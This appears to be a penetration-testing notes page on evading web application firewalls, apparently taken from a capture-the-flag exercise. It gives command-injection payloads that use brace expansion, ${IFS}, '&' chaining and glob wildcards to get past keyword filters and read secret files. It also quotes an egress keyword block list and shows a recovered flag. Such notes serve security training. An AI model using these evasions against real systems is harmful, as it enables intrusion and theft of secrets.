# WAF

## See Also:

* [CharEvasionTricks](/03-getting-in/char-evasion-tricks.md), [WebInjections](/04-webapps/03-webapp.md)

## Char Evasion 'spaces'

```
{ls,-la,/root}
{cat,file.txt}
cat${IFS}file.txt

/&pwd/&pwd
/var/task&{cat,secret.py}

{/var/log/,-la}
/var/log&{cat,yum.log}
/var/log&{ls,//var/log/yum.log}
/&{cat,/var/log/yum.log}
/&{ls,-la,/home/target/}

Found this hiding behind ...  instead of . ..
{/var/task/...,-la}
```

## WAF Wars

* The bash shell allows wildcards.
* These can be helpful to run commands that may be blocked by the WAF.
* There are many functions that can manipulate text.
* Try looking at the man pages for iconv or cut.

```
ls -la /secrets

$cmd = "ls -la /secrets" && $output = shell_exec($cmd);
$c=p $m=w $d=d && $output = shell_exec($c$m$d);

ls -la /secrets
/???/?s
/bin/ps

/???/?s /s?????s
"flag","f","l","a","g"
/???/??t 

$egress_ruleset = array("BLAB","{","}",
"flag","secret","password","ssn","confidential");

file
flag
password
pins
ssn

/???/??t ./pins
/???/c?t 
/???/?s         ..ls works
/???/e??o hi    ..echo works!!!
/???/c?t /s?????s/
/u??/???/?s   ..might be 'ls' ?
/u??/???/c?t   ..might be 'cat' ?
/u??/???/c?t -c1  /s????ts/????

Answer:
cut -b8-30

/u??/???/c?t -b1-5  /s????ts/????
/u??/???/c?t -b8-30  /s????ts/????

FLAG{waf_3vision_w1n}
```


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